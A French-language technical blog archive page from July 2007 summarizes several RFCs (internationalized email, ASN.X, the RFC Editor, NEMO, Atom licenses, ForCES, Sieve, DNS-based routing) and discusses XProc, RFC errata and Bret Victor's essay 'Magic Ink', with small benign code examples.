Première rédaction de cet article le 25 juillet 2007
Dernière mise à jour le 31 juillet 2007


Je décris ici une application Web qui ne sert à rien mais qui montre l'usage de plusieurs techniques qui sont apparemment souvent demandées : SQL, REST, Unicode, etc, le tout en Python.


L'article complet

RFC 4952: Overview and Framework for Internationalized Email

Date de publication du RFC : Juillet 2007
Auteur(s) du RFC : J. Klensin, Y. Ko (ICU)
Pour information
Réalisé dans le cadre du groupe de travail IETF eai
Première rédaction de cet article le 25 juillet 2007
Dernière mise à jour le 7 septembre 2008


Parmi les protocoles utilisés sur Internet, presque tous sont internationalisés depuis longtemps. Le dernier gros manque concernait les adresses de courrier électronique, obligées de s'en tenir à stephane@internet-en-cooperation.fr alors qu'on voudrait pouvoir écrire à stéphane@internet-en-coopération.fr. Désormais, nous avons une solution, Internationalized Email Addresses. Expérimentale à l'époque de la parution de ce RFC, cette solution est devenue une norme complète par la suite avec le RFC 6530, qui a remplacé ce RFC.

Bien sûr, pour l'exemple ci-dessus, le gain n'est pas évident. Mais il l'est beaucoup plus si vous voulez écrire votre adresse avec l'écriture arabe ou chinoise.

Le contenu des courriers était internationalisé depuis longtemps, au moins depuis MIME (RFC 1341 à l'origine, en juin 1992). Mais les adresses ne l'étaient pas encore. Notre RFC décrit le cadre général de l'internationalisation des adresses de courrier.

Il y a deux parties à l'adresse (décrites dans le RFC 2822) : la partie locale, à gauche du @ et le nom de domaine à droite. Si ce nom de domaine, depuis la sortie du RFC 3490, en mars 2003, peut s'écrire en Unicode (norme IDN), le courrier exigeait toujours un nom de domaine en ASCII donc un message de non-délivrance, par exemple, allait affichait la forme Punycode du nom. Ce n'était pas une vraie internationalisation.

Le cadre d'internationalisation du courrier couvre plusieurs aspects, couverts chacun par un RFC. Ce premier RFC expose l'architecture générale.

SMTP est modifié pour permettre une nouvelle extension, indiquant le support du courrier internationalisé (RFC 5336).

Le format des messages (RFC 2822) est modifié pour permettre d'inclure de l'Unicode, encodé en UTF-8, directement dans les en-têtes, comme le champ To: (RFC 5335).

Un mécanisme de repli (downgrading) était prévu pour le cas où un émetteur internationalisé rencontrerait un récepteur qui ne l'est pas, nécessitant une modification des adresses en ASCII (RFC 5504). En effet, contrairement à HTTP, le courrier ne fonctionne pas de bout en bout et le message est relayé par plusieurs serveurs, qu'on ne connait pas forcément a priori. Ce mécanisme s'est révélé bien compliqué pour pas grand'chose et a finalement été abandonné avec le RFC 6530.

De même, les protocoles POP et IMAP doivent être modifiés pour que le courrier ainsi internationalisé puisse être récupéré... et lu.

Le repli est certainement la partie la plus complexe et fera l'objet d'un RFC propre : modifier un message est toujours une opération délicate, notamment en présence de signatures cryptographiques, que le repli ne doit pas invalider !

Notons (section 6.3 du RFC) que les adresses de courrier sont utilisés en de nombreux endroits, par exemple comme identificateurs sur certains sites Web de commerce électronique, comme Amazon et que ces utilisateurs vont également devoir s'adapter. Quant on voit le nombre de sites, supposés professionnels, qui continuent à interdire des adresses de courrier légales, on mesure l'ampleur du travail. La sortie en février 2012 de la norme RFC 6530, qui remplace notre RFC, accélérera-t-elle les choses ?


Téléchargez le RFC 4952


L'article seul

RFC 4912: Abstract Syntax Notation X (ASN.X)

Date de publication du RFC : Juillet 2007
Auteur(s) du RFC : S. Legg (eB2Bcom)
Expérimental
Première rédaction de cet article le 25 juillet 2007


Voici un RFC expérimental (et dont mon pronostic est qu'il le restera) sur l'encodage de schémas ASN.1 en XML.

ASN.1 est un langage très utilisé dans les RFC pour décrire les données échangées entre deux systèmes. Il est notamment à la base du langage de description des MIB, les bases de données des agents SNMP. ASN.1 est probablement le langage formel le plus courant dans les RFC, même devant ABNF.

Ce n'est pas en raison de ses qualités propres, pourtant. Normalisé par l'ISO, il hérite les défauts habituels des normes ISO : diffusion payante et restreinte, documents très complexes et abstraits, écrits sans aucun souci pour les problèmes des implémenteurs.

C'est un de ces problème que traite ce RFC : ASN.1 est difficile à analyser en raison des multiples ambiguïtés de sa grammaire (section 1 du RFC). Changer la grammaire actuelle pour XML, en gardant la sémantique semble donc une idée tentante.

Le résultat est un RFC de 165 pages, un des plus longs car il a fallu reprendre toute la sémantique d'ASN.1. ASN.X est en effet décrit sous la forme d'une transformation d'une grammaire en ASN.1 en XML.

Par exemple, en appliquant ces règles de transformation, l'ASN.1 suivant :

SEQUENCE {
          one    INTEGER,
          two    BOOLEAN OPTIONAL,
          three   PrintableString DEFAULT "third"
      }

deviendra en XML :


<type>
       <sequence>
        <element name="one" type="asnx:INTEGER"/>
        <optional>
         <attribute name="two" type="asnx:BOOLEAN"/>
        </optional>
        <optional>
         <element name="three" type="asnx:PrintableString"/>
         <default literalValue="third"/>
        </optional>
       </sequence>
</type>

Le résultat semble aussi complexe que l'original et ne résoud qu'un seul problème, celui de la syntaxe. Je ne lui prédis donc pas beaucoup d'avenir.


Téléchargez le RFC 4912


L'article seul

RFC 4846: Independent Submissions to the RFC Editor

Date de publication du RFC : Juillet 2007
Auteur(s) du RFC : J. Klensin, D. Thaler
Pour information
Première rédaction de cet article le 25 juillet 2007


Ce RFC décrit la voie "indépendante" pour soumettre un RFC au RFC editor sans passer par l'IETF.

On l'oublie souvent mais tous les RFC n'ont pas été développés à l'IETF. Certains ont emprunté la "voie indépendante" qui fait l'objet de notre RFC. Compagnon du RFC 4844, ce RFC décrit cette voie.

A l'origine, tous les RFC étaient de tels "indépendants" puisque les RFC existaient bien avant l'IETF. Aujourd'hui que les normes techniques de l'Internet sont dévelopées à l'IETF et publiés comme RFC après leur approbation par l'IESG, la voie indépendante sert pour :

  • Documenter des protocoles privés,
  • Proposer des protocoles alternatifs à ceux approuvés par l'IETF,
  • Publier des normes qui n'ont pas réussi sur la voie normale e à qui la voie indépendante offre un rattrapage.

Ces futurs RFC sont donc soumis directement au RFC editor. Si celui-ci vérifie avec l'IESG la possibilité d'un conflit avec une norme IETF (section 5 du RFC), le RFC editor n'en est pas moins le seul décideur pour leur publication ou non.


Téléchargez le RFC 4846


L'article seul

RFC 4844: The RFC Series and RFC Editor

Date de publication du RFC : Juillet 2007
Auteur(s) du RFC : L. Daigle (for the Internet Architecture Board)
Pour information
Première rédaction de cet article le 24 juillet 2007


Les RFC, qui incluent notamment les normes techniques de l'Internet, sont en général réalisés par l'IETF mais sont publiés par un organisme séparé, le RFC editor dont le rôle n'avait pas encore été mis par écrit, ce que fait notre RFC.

Comme pour beaucoup de choses dans l'Internet, la définition exacte des rôles des différents acteurs n'avait pas été formalisée car personne n'en ressentait le besoin. Au fur et à mesure que l'Internet devient une infrastructure essentielle, cette absence de formalisation est mal ressentie et la tendance, depuis plusieurs années, est de mettre par écrit tout ce qui était implicite auparavant.

C'est le cas du rôle du RFC editor. Autrefois le titre d'une seule personne, Jon Postel, ce nom désigne désormais une petite structure, choisie et financée par l'ISOC, hébergée à l'ISI, qui assure le travail d'éditeur. Relire les RFC avant publication, leur donner un numéro et assurer leur distribution, tels sont les principaux rôles du RFC editor.

Notre RFC décrit en détail le rôle de cet éditeur, sa place dans le processus de publication et les fonctions qu'il doit assurer (le cahier des charges de l'IETF avait été publié dans le RFC 4714).

Il faut noter (section 5 du RFC) que le RFC editor reçoit des textes candidats par plusieurs voies. Si la plus connue est celle de l'IETF, il peut aussi publier des RFC d'autres origines notamment ceux ici des soumissions indépendantes (RFC 4846).

Le RFC editor a une mission difficile puisqu'il doit agir avec prudence, voire avec conservatisme, pour assurer la qualité et la disponibilité des RFC pendant de très longues périodes.

Il remplit cette mission sans faire d'excès de zèle. Ce n'est pas chez le RFC editor qu'il faudrait chercher les derniers gadgets comme un flux de syndication. Les erreurs signalées mettent fort longtemps à être publiées, les RFC ne sont pas signés (malgré la section 6 du RFC qui demande que des mesures soient prises pour assurer l'intégrité des documents), et le manque de poids politique du RFC editor fait qu'il n'a jamais été possible d'adopter un autre format de publication que le texte brut...


Téléchargez le RFC 4844


L'article seul

RFC 4886: Network Mobility Support Goals and Requirements

Date de publication du RFC : Juillet 2007
Auteur(s) du RFC : T. Ernst (INRIA)
Pour information
Première rédaction de cet article le 21 juillet 2007


Voici le cahier des charges du groupe de travail IETF NEMO qui vise à normaliser les techniques permettant la mobilité d'un réseau entier, pas seulement d'une machine.

La mobilité est un domaine riche et complexe et il est préférable de lire d'abord les RFC de terminologie comme le RFC 3753 et RFC 4885. Les principaux termes utilisés dans notre RFC sont MR (Mobile Router) pour le routeur du réseau mobile, MNN (Mobile Network Nodes) pour les machines ordinaires du réseau mobile et CN (Correspondent Node) pour la machine (par exemple, un serveur Web) avec laquelle le MNN veut communiquer.

La section 2 décrit les scénarios d'usage, du cadre survolté moderne bardé de gadgets électroniques, comme un soldat US en Irak, et qui est un réseau mobile à lui tout seul, tous ses gadgets communiquant entre eux par Bluetooth, à un groupe d'étudiants qui travaillent sur leurs ordinateurs portables dans le train et qui ont besoin de connectivité entre eux aussi bien qu'avec l'Internet.

La section 3 du RFC expose ensuite les buts de NEMO : permettre aux MNN d'ignorer qu'ils sont mobiles, ne pas charger la table de routage globale en vain (section 3.12), permettre de protéger la vie privée des MNN (le CN ne doit pas savoir où se trouve son client), etc.

Le groupe de travail NEMO a bien avancé. Ce RFC de cahier des charges est publié deux ans (!) après la première spécification, le RFC 3963 et en même temps que plusieurs autres normes comme les RFC 4887 et RFC 4889.

J'ai commencé cet article dans un avion et je note que NEMO n'est pas encore déployé partout, nous n'avions pas de connectivité Internet (même si des essais ont été tentés).


Téléchargez le RFC 4886


L'article seul

RFC 4946: Atom License Extension

Date de publication du RFC : Juillet 2007
Auteur(s) du RFC : J. Snell
Expérimental
Première rédaction de cet article le 21 juillet 2007


Cette extension au format de syndication Atom permet de spécifier la licence utilisée par l'auteur et autorise donc les lecteurs / agrégateurs / transformateurs de flux de syndication à prendre des décisions en toute connaissance de cause.

Atom, normalisé dans le RFC 4287 est un format de syndication bâti sur XML. L'un des buts de la syndication est de permettre à des logiciels de traiter automatiquement ces flux, pour les agréger avec d'autres, sélectionner certaines entrées, etc. Mais est-ce légal ? Cela dépend de la licence sous laquelle l'auteur des flux les distribue. La norme Atom fournissait déjà un élément <atom:rights> pour indiquer cette licence mais son contenu était prévu pour être lu par des humains, pas par des logiciels.

Atom est extensible, mais il n'a pas été nécssaire d'utiliser le mécanisme d'extension, cette fois. Notre RFC comble la faille en utilisant l'élément <atom:link>. Celui-ci sert à référencer toutes sortes de ressources, la nature de cette référence étant donnée par son attribut rel qui prend une valeur choisie dans le registre des relations.

Par exemple, ce blog, qui est distribué sous licence GFDL contient désormais dans son flux de syndication :


<link rel="license" type="text/html" title="GFDL in HTML format" href="http://www.gnu.org/copyleft/fdl.html"/>
<!--  draft-walsh-app-docbook-xml, not yet registered -->
<link rel="license" type="application/docbook+xml" title="GFDL in Docbook format" href="http://www.gnu.org/licenses/fdl.xml"/>
<link rel="license" type="text/plain" title="GFDL in plain text" href="http://www.gnu.org/licenses/fdl.txt"/>

ce qui permet à un lecteur de flux Atom de retrouver facilement la licence utilisée.

Cela ne veut pas dire qu'il saura a traiter, le RFC ne va pas jusqu'à spécifier un langage formel pour exprimer les licences, comme l'avait tenté (avec peu de succès) P3P.


Téléchargez le RFC 4946


L'article seul

RFC 3654: Requirements for Separation of IP Control and Forwarding

Date de publication du RFC : Novembre 2003
Auteur(s) du RFC : H. Khosravi, T. Anderson (Intel)
Pour information
Réalisé dans le cadre du groupe de travail IETF forces
Première rédaction de cet article le 18 juillet 2007


Ce RFC marque le début d'un processus très ambitieux, qui doit permettre l'arrivée de la normalisation non plus seulement entre les nœuds de l'Internet mais aussi à l'intérieur de ces nœuds. Le groupe de travail IETF ForCES cherche en effet à normaliser la communication entre les différents composants d'un routeur IP. Ce premier RFC du groupe est le cahier des charges du projet.

Un routeur est composé notamment d'un forwarding engine qui effectue le traitement de chaque paquet (décider où l'envoyer, puis le faire) et d'un control engine ou routing engine qui traite les protocoles de routage comme BGP ou OSPF, les statistiques, les réponses aux requêtes SNMP, etc. Sur un routeur de haut de gamme, par exemple sur les Juniper ou sur certains Cisco, la séparation entre ces deux moteurs est très avancée : le forwarding engine est mis en œuvre par des circuits matériels spécialisés, les ASIC, alors que le routing engine est un logiciel bien plus traditionnel, tournant typiquement sur un processeur ordinaire (un Pentium sur les Juniper, par exemple, en dépit de leur prix). Si on utilise un ordinateur ordinaire comme routeur, les deux moteurs sont tous les deux mis en œuvre en logiciel, dans le processeur, mais sont néanmoins séparés dans le code. Par exemple, sur une machine Unix, le forwarding engine est le noyau Unix et le routing engine est un programme en mode utilisateur, comme Quagga ou Xorp.

Les deux moteurs ont des demandes très distinctes ; besoin de RAM et d'un vrai processeur pour le control engine, qui doit faire des calculs complexes ; capacité à router à la line speed donc plutôt temps réel, pour le forwarding engine.

La communication entre ces deux moteurs se fait à chaque fois avec un protocole privé, souvent non documenté lorsqu'il s'agit de logiciel non-libre. Sur Linux, le protocole se nomme Netlink et est documenté dans le RFC 3549. Sur FreeBSD, cela se fait avec les routing sockets documentées dans route(4). Du fait du caractère privé de ces protocoles, un logiciel comme Quagga doit gérer de nombreux cas différents pour communiquer avec le noyau et une carte d'interface d'un Cisco ne peut pas être mis dans un Juniper : même si elles étaient matériellement compatibles, la carte ne pourrait pas communiquer avec le routing engine, faute d'un protocole commun.

D'où l'idée d'un protocole normalisé de façon à ce que, comme le dit le RFC, A standard set of mechanisms for connecting these components provides increased scalability and allows the control and forwarding planes to evolve independently, thus promoting faster innovation.. Notre RFC est le cahier des charges de ce futur système.

Que dit-il ? Il définit dans sa section 2 un vocabulaire standard, avec les notions de Network Element (NE) (une machine complète, vue de l'extérieur comme une entité unique), Forwarding Element (FE) (un dispositif qui sert à faire suivre les paquets) et Control Element (CE) (un dispositif qui sert à gérer les protocoles de routage). Le système ForCES concernera la communication entre FE et CE, communication qui ne passera pas forcément par IP.

ForCES conviendrait aussi bien à des cas où les éléments sont dans une même boite (cas des routeurs actuels), avec transport des messages ForCES sur le bus interne, qu'au cas où les éléments sont physiquement séparés, avec transport des messages ForCES sur TCP/IP et Ethernet.

Ensuite, la section 5 explique la nécessité de développer un modèle pour les entités gérées par ForCES. En effet, il existe de nombreuses sortes de routeurs, ayant des capacités très différentes. Pour que les FE et CE puissent se parler, il faut qu'il existe un modèle de leurs capacités, pour qu'ils puissent savoir quoi attendre de l'autre.

Enfin la section 6 décrit les exigences pour le protocole lui-même.

ForCES permettrait de résoudre le problème des routeurs Unix actuels : ils tournent typiquement sur PC, une machine qui convient parfaitement comme CE mais qui est faible en FE. La partie la plus politiquement sensible, le CE, pourrait être en logiciel libre et sous-traiter le routage effectif à des ASIC ou à des boîtiers spécialisés, situées hors du PC.

À l'heure d'aujourd'hui, bien que très avancés, les textes qui normaliseront le modèle et le protocole ForCES sont toujours à l'état d'Internet-Drafts. Le travail s'est révélé très, peut-être trop ambitieux. Seul est sorti le RFC 3746, qui n'est encore qu'un description assez générale de l'architecture.


Téléchargez le RFC 3654


L'article seul

RFC 3028: Sieve: A Mail Filtering Language

Date de publication du RFC : Janvier 2001
Auteur(s) du RFC : T. Showalter (Mirapoint)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF sieve
Première rédaction de cet article le 17 juillet 2007
Dernière mise à jour le 17 janvier 2008


L'utilisation massive du courrier électronique fait que, même sans compter le spam, chaque utilisateur professionnel reçoit désormais des dizaines et souvent des centaines de messages quotidiens dans sa boîte aux lettres. Il n'est donc plus question de les gérer entièrement à la main, il faut disposer d'un mécanisme de filtrage automatique.

On n'imagine plus aujourd'hui d'utiliser le courrier au bureau sans un tel mécanisme, permettant de mettre les messages dans des dossiers séparés selon, par exemple, la liste de diffusion concernée. Il en existe plusieurs, certains bâtis sur une interface graphique, d'autres autour d'un langage. Ces derniers, bien plus riches et puissants, sont variés. Le plus connu est procmail, célèbre pour son pouvoir expressif (on peut tout faire en procmail) mais aussi pour sa difficulté.

Sieve, l'objet de ce RFC, est nettement moins riche que procmail, ce qui peut être un inconvénient pour les utilisateurs avancés mais un avantage pour l'administrateur : permettre aux utilisateurs de configurer procmail revient à leur donner un accès shell alors que Sieve est plus contrôlable. Comme le note bien notre RFC, Sieve n'est pas un langage de Turing (par exemple, il ne connait pas les boucles). Ses capacités sont limitées, il est sandboxable, c'est-à-dire que l'administrateur système peut facilement limiter les choses que risquent de faire les auteurs de scripts Sieve.

Autre avantage par rapport à procmail, Sieve est normalisé et il en existe plusieurs mises en œuvre, dans Cyrus, dans GNU mailutils, dans Archiveopteryx...

Sieve était à l'origine normalisé dans ce RFC, mais il a depuis été mis à jour par le RFC 5228.

Les scripts Sieve sont écrits par l'utilisateur avec un éditeur ordinaire ou bien via une interface graphique. Ils sont installés sur le serveur de messagerie via FTP ou bien par le protocole spécifique Manage Sieve (actuellement à l'état d'Internet-Draft). Le programme de webmail SquirrelMail, par exemple, dispose d'une interface d'édition de scripts Sieve, qui gère le protocole Manage Sieve.

Voici un exemple de script Sieve tiré du RFC :

             if header :contains "from" "jfc" {
                discard;
             } elsif header :contains ["subject"] ["money"] {
                discard;
             } else {
                fileinto "INBOX";
             }

Sieve lui-même est très limité mais le langage dispose d'un mécanisme d'extensions (qui doivent être déclarées dans le script avec require). Certaines sont définies dès notre RFC (comme fileinto), d'autres sont définies via d'autres RFC, par exemple pour utiliser des tests anti-spam ou antivirus (RFC 3685, désormais RFC 5235), ou bien pour tester sur des sous-adresses (RFC 3598, désormais RFC 5233) (comme le RFC 3028, ces RFC ont depuis été remplacés par d'autres, plus récents.)


Téléchargez le RFC 3028


L'article seul

RFC 1383: An Experiment in DNS Based IP Routing

Date de publication du RFC : Décembre 1992
Auteur(s) du RFC : Christian Huitema (INRIA)
Statut inconnu, probablement trop ancien
Première rédaction de cet article le 16 juillet 2007


Ce RFC décrit une expérience (apparemment sans suite) d'utilisation du DNS pour aider au routage IP. Cette expérience éclaire certains débats actuels sur la séparation de l'identificateur et du localisateur.

Notre RFC s'attaque à un problème récurrent de l'Internet : la croissance des tables de routage, due notamment au multihoming. Si les chiffres donnés dans le RFC font sourire aujourd'hui (« there are already more than 5000 networks announced in the NSFNET routing tables », alors qu'ils sont plus de 200 000 désormais), la question reste la même. Si un site, pour des bonnes raisons, veut se connecter à plusieurs FAI (être multihomé), il doit annoncer une route dans la table de routage globale et celle-ci croît, aux frais des opérateurs Internet.

La solution proposée par Christian Huitema dans ce RFC est de ne pas annoncer la route vers le réseau du site multihomé mais de compter sur le DNS pour la trouver. Le principe est le suivant : le site multihomé utilise le préfixe réseau 192.0.2.0/24. Le site ne fait pas de BGP et ne l'annonce pas dans la table de routage globale. Il est connecté par deux fournisseurs, dont les routeurs ont les adresses IP 10.123.6.1 et 172.18.1.3, qui ne sont pas dans ce préfixe et sont, elles, annoncées en BGP. Le site publie des enregistrements DNS de type RX qui pointent vers les routeurs des FAI :

2.0.192.in-addr.arpa.     IN    RX   10.123.6.1
                          IN    RX   172.18.1.3

Le premier routeur qui veut parler à une adresse en 192.0.2.0/24 peut alors utiliser le DNS pour trouver le routeur de bord de site.

On a donc une vraie séparation de l'identificateur et du localisateur, l'adresse non-BGPisée (192.0.2.0/24) étant un identificateur et l'adresse des routeurs de bord de site étant un localisateur.

Les enregistrements RX ont été nommés par analogie aux MX. En fait, en raison de la difficulté à déployer de nouveaux types d'enregistrement, notre RFC a utilisé des enregistrements de type TXT.

La première idée est de faire faire ce travail de client DNS à chaque routeur du trajet. Mais cela imposerait des délais et un gros trafic DNS. Le RFC spécifie donc en fait que seul le premier routeur fera une requête DNS, puis utiliser la source routing pour que les routeurs suivants n'aient pas ce travail. (On notera que le source routing ne fonctionne plus sur l'Internet d'aujourd'hui, pour des raisons de sécurité.)

L'expérience ne semble pas avoir connu de suite.


Téléchargez le RFC 1383


L'article seul

Le RFC editor et les errata

Première rédaction de cet article le 12 juillet 2007
Dernière mise à jour le 12 avril 2010


L'organisme qui gère les RFC, le RFC editor est d'une lenteur étonnante, et c'était notamment le cas pour ce qui concerne le traitement des errata.

Ce n'est pas une tâche facile que d'être RFC editor. Élaborés en général par l'IETF, les RFC ne sont pas publiés par elle mais par un organisme séparé, désigné par l'ISOC, le RFC editor. Cet organisme a la lourde tâche de publier des normes sans erreurs et de les tenir à la disposition de tous, pendant de nombreuses années (le RFC 791 est toujours utile, un quart de siècle plus tard).

Un des principes des RFC est qu'on ne change jamais un RFC publié. On en publie éventuellement un nouveau mais on ne change pas celui déjà publié, on indique juste un errata.

Le traitement de ces errata a été longtemps extrêmement lent et frustrant.

Un nouveau mécanisme de traitement d'erreurs vient d'être déployé. Il comprend un Internet-Draft décrivant formellement, pour la première fois, le processus (ainsi qu'une intéressante section historique expliquant les racines du problème) et une interface Web permettant de soumettre les erreurs, de les envoyer automatiquement aux auteurs, d'assurer leur suivi, etc.

Cela permet, par exemple, de voir la lenteur du traitement de certaines erreurs. Ainsi, la n° 608 (au sujet du RFC 3958) a mis plus de deux ans avant d'être reconnue (même si une meilleure solution que celle proposée originellement a été retenue).


L'article seul

XProc : un langage pour enchaîner des transformations XML

Première rédaction de cet article le 12 juillet 2007
Dernière mise à jour le 7 janvier 2008


Il est fréquent qu'un processus de traitement de données XML nécessite plusieurs étapes : inclure d'autres documents (parfois récupérés sur le réseau), transformer avec XSLT, valider, etc. Actuellement, ces étapes sont enchaînées par un programme écrit dans un langage impératif ou déclaratif. Peut-on le faire dans un langage XML ? On pourra bientôt avec XProc, un langage de chaîne (pipeline) de traitement, actuellement à l'état de projet de norme.

Deux dates importantes pour XProc : le 6 juillet, sortie d'une nouvelle version du projet de norme et, le 10 juillet, sortie de la première version de la première mise en œuvre de XProc, XML Pipeline Processor.

Que fait le langage XProc ? Prenons une application qui a besoin d'effectuer plusieurs opérations sur des fichiers XML. Par exemple, le site Web www.langtag.net est écrit en XML et le XHTML qui est servi aux clients est produit par une transformation XSLT, suivie d'une validation pour s'assurer de la correction du XHTML. Comment enchaîner ces deux étapes ? Actuellement, c'est réalisé dans un Makefile :

%.html: %.xml ${STYLESHEET} language-subtag-registry-version
        xsltproc --stringparam lsr-version `cat language-subtag-registry-version` \
                 --output $@ ${STYLESHEET} $< && xmllint --noout --valid $@

Quand on voudra créer index.html, make va exécuter xsltproc (le processeur XSLT) puis (&& signifie « si la première étape a été un succès, exécuter ensuite la seconde » en shell Unix) xmllint (le validateur). Si une des étapes échoue, make s'arrêtera en erreur et le site Web ne sera pas mis à jour (ce qui garantit que son contenu sera 100 % valide).

Une autre solution, plutôt que le langage déclaratif de make aurait été d'utiliser un langage impératif comme Python ou Perl. Question de goût. Une autre solution est de sous-traiter cette tâche à un service en ligne comme Yahoo Pipes, avec toutes les limitations qu'il présente (impossibilité de travailler sur des documents privés, par exemple). Mais il n'existait pas de solution tout-XML.

XProc est cette solution : c'est un langage XML qui permet de décrire une chaîne de traitement (pipeline dans la norme). Cette chaîne est composée d'opérations dont certaines sont pré-définies dans la Standard step library. L'opération ci-dessus (transformation XSLT puis validation) aurait pu s'écrire, en XProc :


<proc:pipeline name="langtag.net" xmlns:proc="http://www.w3.org/2007/03/xproc">
  <proc:input port="source" primary="yes"/>
  <proc:input port="schemaDoc" sequence="yes" primary="no"/>
  <proc:input port="stylesheetDoc" sequence="yes" primary="no"/>
  <proc:output port="result"/>
 
  <proc:xslt>
    <proc:input port="stylesheet">
       <proc:pipe step="langtag.net" port="stylesheetDoc"/>
    </proc:input>
  <proc:xslt>

  <!-- Pas de validation avec DTD dans la bibliothèque standard, donc
  on utilise la version Relax NG de XHTML -->
  <proc:validate-relax-ng>
    <proc:input port="schema">
      <proc:pipe step="langtag.net" port="schemaDoc"/>
    </proc:input>
  </proc:validate-relax-ng>

</proc:pipeline>


La façon dont les ports d'entrée-sortie (ici, source, schemaDoc et stylesheetDoc) sont connectés aux vraies ressources dépend de l'implémentation.

Les paramètres des étapes sont nommés, par exemple stylesheet pour l'étape <proc:xslt> est nommée dans la déclaration de cette étape standard, dans la bibliothèque.

Si une étape de la chaîne (l'exemple ci-dessus est très simple, avec seulement deux étapes) échoue, le traitement s'arrête. XProc a un mécanisme de traitement d'exceptions, qui permet de continuer en cas d'erreur si on le souhaite. Voici l'exemple que donne la norme, pour récupérer les erreurs éventuelles provoquées par un échec dans la récupération d'une ressource en HTTP :


<proc:try xmlns:step="http://www.w3.org/2007/03/xproc-step">
  <proc:group>
    <proc:http-request>
      <proc:input port="source">
        <proc:inline>
          <step:http-request method="get" href="http://example.org/something"/>
        </proc:inline>
      </proc:input>
    </proc:http-request>
  </proc:group>
  <proc:catch>
    <proc:identity>
      <proc:input port="source">
        <proc:inline>
          <step:error>HTTP Request Failed</step:error>
        </proc:inline>
      </proc:input>
    </proc:identity>
  </proc:catch>
</proc:try>

Bien sûr, on peut trouver que le fichier XML est bien plus long que le court Makefile. Mais la comparaison est partiellement injuste. D'abord, le Makefile dépend de programmes extérieurs comme xsltproc. Si on veut le faire robuste et portable, il faudrait tester d'autres processeurs, le rendre capable d'utiliser plutôt sablotron ou saxon, etc. Au contraire, avec Xproc, si on n'utilise que la bibliothèque standard, on est sûr que cela fonctionne partout. D'autre part, il y a des gens comme moi, qui préfèrent éditer des Makefile et des gens qui préfèrent éditer du XML. Ceux-ci utilisent souvent un éditeur qui leur masque plus ou moins le nombre de lignes sous-jacent.

Je n'ai pas encore testé le programme xproc (les exemples XProc ci-dessus sont donc livrés sans garantie) et, de toute façon, la norme n'est pas encore finale. Mais XProc semble susceptible de beaucoup aider les programmeurs qui devront effectuer des opérations sur leurs fichiers XML.

Norman Walsh, un des principaux auteurs de la norme, et le développeur du programme xproc, a écrit plusieurs intéressants articles sur son blog à propos de la mise en œuvre du langage XProc, http://norman.walsh.name/2007/04/25/implXProcI.html et suivants.

Voici une liste des implémentations actuelles :

Sinon, Alain Couthures attire mon attention sur son logiciel tXs, qui est largement sur le même créneau que XProc.


L'article seul

Négociation de contenu en HTTP

Première rédaction de cet article le 9 juillet 2007
Dernière mise à jour le 12 juillet 2007


Un des aspects les moins connus du protocole HTTP est la possibilité de négociation de contenus par laquelle le client HTTP informe le serveur de ses préférences, en matière de format de données, ou bien de langue.


L'article complet

Mettre à jour un blog avec XML-RPC

Première rédaction de cet article le 6 juillet 2007


Tout le monde écrit un blog aujourd'hui. L'interface Web des moteurs de blogs autorise une mise à jour simple, même par des personnes non informaticiennes. Mais une mise à jour par un programme est-elle possible ? Aujourd'hui, la plupart des moteurs de blogs le permettent, en général avec XML-RPC.


L'article complet

Magic Ink, de Bret Victor

Première rédaction de cet article le 5 juillet 2007


Un passionnant essai consacré à la présentation de données quantitatives par un logiciel et à la meilleure façon dont on peut permettre la navigation dans ces données.

Bret Victor, auteur de ce Magic Ink: Information Software and the Graphical Interface cite abondamment l'expert Edward Tufte qui, dans ses livres comme Visual Explanations explique comment visualiser des données numériques de façon à permettre leur analyse par l'utilisateur. Tufte se limitait surtout aux affichages statiques, comme le papier, et Victor s'attaque aux possibilités supplémentaires qu'offre le logiciel.

Sa thèse principale est qu'on a trop mis l'accent sur l'interactivité. Sous couvert de donner le contrôle à l'utilisateur, on lui impose une intense gymnastique (cliquer, dérouler, sélectionner) pour accéder à une information comme « À quelle heure part le prochain train pour Richmond ? ».

À travers cet exemple, celui du BART, le réseau ferroviaire de la baie de San Francisco, Victor nous fait suivre le développement de son logiciel BART widget, qui tente de mettre en œuvre ses idées sur l'interface utilisateur. BART widget tente de prédire ce que veut l'utilisateur (par exemple, on planifie rarement ses voyages en métro des semaines à l'avance, donc on peut supposer que l'utilisateur veut un train tout de suite) et, en utilisant les leçons de Tufte, de présenter le plus d'informations possibles, sans que l'utilisateur n'aie à le demander, et en collant aux questions qu'il se pose, pas aux données sous-jacentes. (Victor compare, défavorablement, le site Web officiel du BART à son logiciel.)

Allant plus loin que ce que permettent la plupart des environnements de développement logiciel existants, Victor imagine des systèmes où les logiciels communiquent facilement entre eux, ce qui permettrait à chaque application d'utiliser le contexte dans lequel se trouve l'utilisateur pour le servir plus intelligemment. Il cite l'exemple d'un utilisateur qui cherche le mot « chat » dans un moteur de recherche. Si l'utilisateur vient d'éditer un article sur l'Égypte antique, il ne s'intéresse sans doute pas aux mêmes aspects des félins que s'il vient d'éditer un article sur les maladies des mammifères. Notons que Victor parle à peine des risques pour la vie privée qu'entrainent cette communication intensive de données sensibles (si tous les logiciels sont locaux, ce n'est pas trop grave mais si on communique ces informations à l'extérieur...).

Victor explique ensuite longuement comment on pourrait créer un outil permettant de programmer par exemples : le concepteur pourrait faire des dessins d'un certain nombre de cas et le logiciel inférerait les autres dessins qu'il doit faire, à partir des données. C'est la partie la plus informaticienne de cet essai, très proche des idées de la programmation fonctionnelle, puisque tout repose sur des simples fonctions, sans effet de bord, qui font correspondre des graphiques aux données numériques.

Tout au long de l'essai, le ton est alerte, les pétillances intellectuelles nombreuses et le programmeur, comme le graphiste, sont certains d'y apprendre beaucoup.

Évidemment, Victor ne va pas faire l'unanimité, d'autant plus que tous les problèmes ne sont pas aussi simples que les horaires de chemin de fer ! Par exemple, la discussion sur l'interactivité de l'excellent blog Lambda the Ultimate ne montre pas que de l'approbation enthousiaste.

Dans le secteur des chemins de fer, un connaisseur, Bertrand Petit me fait remarquer que les chemins de fer allemands fournissent des horaires très bien présentés sur leur site Web, même s'ils ne suivent pas les préceptes de Bert Victor, et que le site du BART ne représente pas forcément l'état de l'art. Bertrand cite aussi les suisses, qui ajoutent la possibilité de fabriquer des fiches horaires papier personnalisées (en PDF) et la possibilité de charger les horaires d'une ligne sur un PDA. Les services allemands et suisses sont tous deux des exploitations du logiciel Hafas, qui est, selon Bertrand, un bon exemple de l'utilisation intelligente, sur le Web, des principes de conception d'un indicateur des chemins de fer.

Erwan David (auteur d'un plan de voies en ASCII art) préfère quant à lui l'indicateur Chaix, qui a commencé en 1846 et n'a jamais été surpassé.


L'article seul

